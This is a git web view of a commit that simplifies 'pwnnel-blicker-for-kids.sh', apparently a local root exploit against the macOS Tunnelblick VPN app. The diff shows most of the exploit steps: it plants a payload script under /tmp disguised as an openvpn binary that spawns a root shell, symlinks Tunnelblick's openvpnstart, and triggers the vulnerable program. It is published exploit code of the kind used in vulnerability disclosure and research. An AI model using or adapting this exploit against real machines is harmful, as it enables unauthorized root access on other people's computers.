summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-08-11 18:59:20 +0200
committerJason A. Donenfeld <Jason@zx2c4.com>2012-08-11 18:59:20 +0200
commitd9718f81a1bd2f173c7d7930b55b170bb98c854c (patch)
tree63aa90b61297be57b566cca1d8d87661643653cc
parentIt already drops privs. (diff)
downloadPwnnel-Blicker-d9718f81a1bd2f173c7d7930b55b170bb98c854c.tar.xz
Pwnnel-Blicker-d9718f81a1bd2f173c7d7930b55b170bb98c854c.zip
Simplify.
-rwxr-xr-xpwnnel-blicker-for-kids.sh7
1 files changed, 3 insertions, 4 deletions
diff --git a/pwnnel-blicker-for-kids.sh b/pwnnel-blicker-for-kids.sh
index b001529..09a6ae5 100755
--- a/pwnnel-blicker-for-kids.sh
+++ b/pwnnel-blicker-for-kids.sh
@@ -17,17 +17,16 @@ echo "[+] Making vulnerable directory."
mkdir -pv /tmp/pwn/openvpn/openvpn-0
echo "[+] Preparing payload."
-cat > /tmp/pwn/root <<_EOF
+cat > /tmp/pwn/openvpn/openvpn-0/openvpn <<_EOF
#!/bin/sh
echo "[+] Cleaning up."
rm -rfv /tmp/pwn
echo "[+] Getting root."
exec bash
_EOF
-chmod +x /tmp/pwn/root
+chmod -v +x /tmp/pwn/openvpn/openvpn-0/openvpn
-echo "[+] Creating symlinks."
-ln -s -v -f /tmp/pwn/root /tmp/pwn/openvpn/openvpn-0/openvpn
+echo "[+] Creating symlink."
ln -s -v -f /Applications/Tunnelblick.app/Contents/Resources/openvpnstart /tmp/pwn/start
echo "[+] Triggering vulnerable program."